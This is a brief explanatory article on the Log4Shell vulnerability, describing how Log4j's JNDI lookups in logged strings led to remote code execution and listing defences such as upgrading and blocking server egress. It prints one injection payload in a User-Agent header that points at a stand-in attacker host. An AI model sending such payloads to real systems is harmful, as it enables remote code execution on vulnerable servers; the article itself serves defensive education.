Log4Shell: when a log line becomes code execution
Log4Shell (CVE-2021-44228) is the perfect example of an innocuous feature turning catastrophic. Log4j expanded ${...} expressions inside logged strings, including JNDI lookups.
The mechanism
If a user-controlled value (a User-Agent, a username) was logged, the expression was evaluated: JNDI contacted the attacker's LDAP/RMI server which returned a remote Java class, executed by the victim.
User-Agent: ${jndi:ldap://evil.com/a}
# Log4j -> JNDI -> LDAP -> download and run class -> RCEDevastating because Log4j is everywhere and the input merely had to reach a log — often several layers away from the entry point.
Defence
Update Log4j (2.17+), which disables JNDI by default. General lesson: do not evaluate expressions on untrusted data, block egress to the Internet from servers (would have stopped the class fetch), and assume any input can reach an unexpected sink. Defence in depth and an SBOM to know where every library lives.